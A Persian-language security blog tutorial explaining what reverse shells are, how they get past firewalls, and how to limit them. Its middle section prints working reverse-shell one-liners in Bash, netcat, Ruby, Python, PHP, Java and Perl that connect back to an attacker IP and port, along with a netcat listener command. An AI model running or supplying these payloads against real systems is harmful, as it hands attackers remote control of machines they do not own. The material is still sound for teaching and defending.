هک و امنیت

شل معکوس چیست (Reverse shell) معرفی انواع آن در هک و امنیت / ۲۰۲۱

شل معکوس چیست (Reverse shell) معرفی انواع آن در هک و امنیت

شل معکوس چیست همانطور که از نام آن مشخص است در این روش دسترسی به صورت معکوس بدست می آید و ما نمی توانیم مستقیماً به آن دسترسی داشته باشیم، برای درک مفهوم این روش به مثال زیر توجه کنید: در برخی موارد دسترسی ما به سرور مورد نظر بسیار محدود است و بنابراین ما نمی توانیم یک پورت برای شل را مستقیماً در آن باز کنیم، بنابراین از شل معکوس استفاده می کنیم.

در این روش به سرور مورد نظر می گوییم که از طریق پورت مورد نظر به سیستم ما متصل شود. درست برعکس روش قبلی وقتی به سرور مورد نظر متصل شدیم. در این روش سرور هدف به ما متصل می شود و می توانیم دستورات خود را در آن وارد کنیم.

مزیت ها و معایب شل معکوس چیست

  • امکان دور زدن فایروال ها با این روش
  • استفاده از این روش به سورت سخت

شل مستقیم یا Direct shell

در این نوع اتصال شل مستقیما برقرار می شود. برای درک بهتر این موضوع به مثال زیر توجه کنید: گاهی اوقات ما به یک سرور دسترسی پیدا می کنیم و سپس باید دسترسی خود را افزایش دهیم یا می خواهیم برای مدتی به آن دسترسی داشته باشیم.

طولانی نگه دارید. برای این کار باید یک بکدور روی سرور ایجاد کنیم که در اصل این کار مستقیما با شل با باز کردن پورت در شبکه سرور انجام می شود تا در مراحل بعدی دستورات خود را در سرور وارد کنیم.

مطالب مرتبط

مزیت ها و معایب

  • حساس بودن فایروال ها و برنامه های امنیتی برای
  • باز کردن پورت باز کردن پورت با روش های راحت تر نسبت به شل معکوس

shell چیست ؟

شل یا Shell در لغت به معنای پوسته است و در سیستم عامل ارتباط بین کلاینت و سیستم عامل است، در واقع این ارتباط دستوری است و در سیستم عامل های جدیدتر به صورت گرافیکی تحت یک نرم افزار در اختیار کاربران قرار می گیرد اما شل در دنیای تست نفوذ یعنی دسترسی خط فرمان سیستم مورد نظر که انواع مختلفی دارد و در ادامه با آنها آشنا خواهید شد.

Reverse Shell چگونه کار می‌کند؟

شل معکوس چیست در یک سناریوی دسترسی از راه دور معمولی، کاربر دریافت کننده دسترسی یک کلاینت است و ماشین مورد نظر یک سرور است. کاربر اتصال شل را از راه دور شروع می کند و سرور منتظر چنین اتصالاتی (یا به اصطلاح Listen) می شود. اما در شل معکوس این نقشه ها برعکس می شوند. این ماشین هدف است که اتصال به کاربر را شروع می کند و رایانه کاربر منتظر اتصالات ورودی در یک پورت خاص است.

دلیل اصلی عدم تمایل مهاجمان به استفاده از Reverse Shell، پیکربندی خاص اکثر فایروال ها است. سرورهایی که مورد حمله قرار می گیرند معمولاً فقط اجازه اتصال به پورت های خاصی را می دهند. به عنوان مثال، یک وب سرور اختصاصی فقط اتصالات روی پورت های ۸۰ و ۴۴۳ را می پذیرد. این بدان معنی است که امکان ایجاد یک Shell Listener بر روی سرور مورد نظر وجود ندارد.

شل معکوس چیست

این در حالی است که فایروال‌ها معمولا اتصالات از داخل به خارج (Outgoing) را به هیچ وجه محدود نمی‌کنند. به همین خاطر مهاجم ی سرور روی دستگاه خودش راه‌اندازی می‌کند و یک اتصال معکوس ایجاد می‌کند. تمام چیزی که یک مهاجم نیاز دارد یک دستگاه با آدرس IP عمومی و ابزاری مانند netcat برای ایجاد listener مخصوص دسترسی شل است.

مثال‌هایی از شل معکوس

ایجاد شل معکوس با ابزارها و زبان های مختلف بسیار آسان است. ابتدا به یک listener در دستگاه محلی خود نیاز دارید و آن دستگاه باید یک آدرس IP عمومی داشته باشد. به عنوان مثال، در یک ماشین لینوکس، تنها کاری که باید انجام دهید این است که دستور netcat را اجرا کنید:

ncat -l -p 1337

این دستور یک listener را روی پورت TCP شماره ۱۳۳۷ راه اندازی می کند. حال فرض می کنیم که دستگاه کاربر (یعنی همان دستگاه هکر) دارای IP 10.10.17.1 است. اگر دستورات زیر بر روی دستگاه مورد نظر اجرا شود، یک اتصال شل معکوس با دستگاه مهاجم برقرار می کند.

شل معکوس Bash

ساده ترین راه برای ایجاد شل معکوس استفاده از Bash است که تقریباً در تمام ماشین های لینوکس موجود است. این دستور در نسخه ۱۸.۰۴ اوبونتو آزمایش شده است اما همه نسخه ها از این دستور پشتیبانی نمی کنند.

/bin/bash -i >& /dev/tcp/10.10.17.1/1337 0>&1

شل معکوس Netcat

به ندرت پیش می آید که netcat روی سرورهای production وجود داشته باشد، اما اگر روش های دیگر را امتحان کردید و جواب نداد، می توانید کد زیر را امتحان کنید.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

شل معکوس Ruby

با وجود این که Ruby مثل زبان‌های دیگر رایج نیست، از آن هم می‌توان برای ایجاد یک شل معکوس استفاده کرد:

ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“۱۰.۱۰.۱۷.۱″,”۱۳۳۷″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’;

یا:

ruby -rsocket -e’f=TCPSocket.open(“۱۰.۰.۱۷.۱”,۱۳۳۷).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’

شل معکوس پایتون

استفاده از Python در سیستم های production بسیار رایج است، بنابراین ممکن است بتوان از شل برای معکوس کردن: استفاده کرد.

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“۱۰.۱۰.۱۷.۱”,۱۳۳۷));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

شل معکوس PHP

php -r ‘$sock=fsockopen(“۱۰.۱۰.۱۷.۱”,۱۳۳۷);exec(“/bin/sh -i <&3 >&3 2>&3”);’

اگر این دستور کار نکرد، می توانید & 3 را با چندین توصیفگر فایل متوالی (file descriptor) جایگزین کنید و دوباره امتحان کنید. اسکریپت PHP دیگری برای دسترسی معکوس شل وجود دارد که می توانید از اینجا دانلود کنید.

شل معکوس جاوا

اگر ماشین هدف از جاوا استفاده می‌کرد، دستور زیر را امتحان کنید:

r = Runtime.getRuntime()

p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/10.10.17.1/1337;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[]) 

p.waitFor()

 

شل معکوس Perlزبان Perl هم یکی دیگر از گزینه‌های مناسب برای گرفتن شل معکوس روی یک وب‌سرور است:

perl -e ‘use Socket;$i=”۱۰.۱۰.۱۷.۱″;$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

بقیه شل معکوس ها

اگر به دنبال یک لیست جامع از پی‌لودهای شل معکوس هستید، می‌توانید از اینجا چیت‌شیت شل معکوس را مشاهده کنید

شل معکوس چگونه کار می‌کند؟

شل معکوس چیست برای ایجاد یک شل معکوس، باید یک ماشین کلاینت داشته باشید که از طریق اینترنت قابل دسترسی باشد و یکی از پورت های آن را باز کنید. سپس باید دستوری را روی سرور اجرا کنید که سرور را به listener روی کلاینت متصل می کند.

چگونه می‌توان شل معکوس را بلاک کرد؟

هیچ راهی برای مسدود کردن کامل شل معکوس وجود ندارد. شما فقط می توانید با مسدود کردن اکثر پورت های خروجی (در صورت امکان) و خاموش کردن اکثر سرویس ها (دوباره در صورت امکان) احتمال این حمله را کاهش دهید. شما همچنین می توانید تمام ترافیک خروجی از سرور را کنترل کنید تا بتوانید دستورات احتمالی شل را در آن بیابید.

راه های جلوگیری از Reverse Shell

شل معکوس چیست به طور کلی، شل معکوس لزوماً به خودی خود مخرب نیست و می تواند برای اهداف مثبت استفاده شود. به عنوان مثال، مدیران می توانند سرور را از راه دور با استفاده از از Reverse Shell، مدیریت کنند. اگر نیازی به استفاده از شل معکوس ندارید، می توانید آن را محدود کنید، اما این کار آسانی نیست:

شما می توانید کنترل دقیقی بر روی اتصالات از داخل به بیرون داشته باشید. با این حال، این امکان برای سرورهایی وجود دارد که عملکرد بسیار خاصی دارند و بنابراین اتصالات مورد نیاز آنها به خوبی شناخته شده است. با این حال، اگر یک مهاجم بخواهد یک listener را در یک پورت مشترک مانند پورت ۸۰ باز کند، هیچ راهی برای جلوگیری از آن وجود ندارد. در چنین حالتی، محتویات تمام اتصالات نیز باید نظارت شود. شما می توانید از اکثر ابزارهایی استفاده کنید که به شما امکان می دهند شل معکوس ایجاد کنید

غیرفعال کنید، اما این امکان برای سرورهایی نیز وجود دارد که دارای عملکرد تخصصی هستند و مطمئن هستید که به آن ابزارها نیاز نخواهند داشت. همانطور که در مثال ها دیدیم، شل معکوس را می توان در ابزارها و زبان های مختلف ایجاد کرد.

حتی اگر بتوانید با موفقیت از ایجاد شل معکوس جلوگیری کنید، روش‌های دیگری وجود دارد که مهاجم می‌تواند از آن برای به دست آوردن کنترل بر سیستم استفاده کند. به عنوان مثال، در برخی موارد یک مهاجم می تواند از وب شل استفاده کند.

 

شلB معکوس همیشه نتیجه نوع دیگری از حمله است، مانند حمله تزریق SQL. بنابراین بهترین راه برای جلوگیری از حملات Reverse Shell جلوگیری از حملات قبل از حمله است.

Click to rate this post!
[Total: ۱ Average: ۵]
نمایش بیشتر

نوشته های مشابه

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دکمه بازگشت به بالا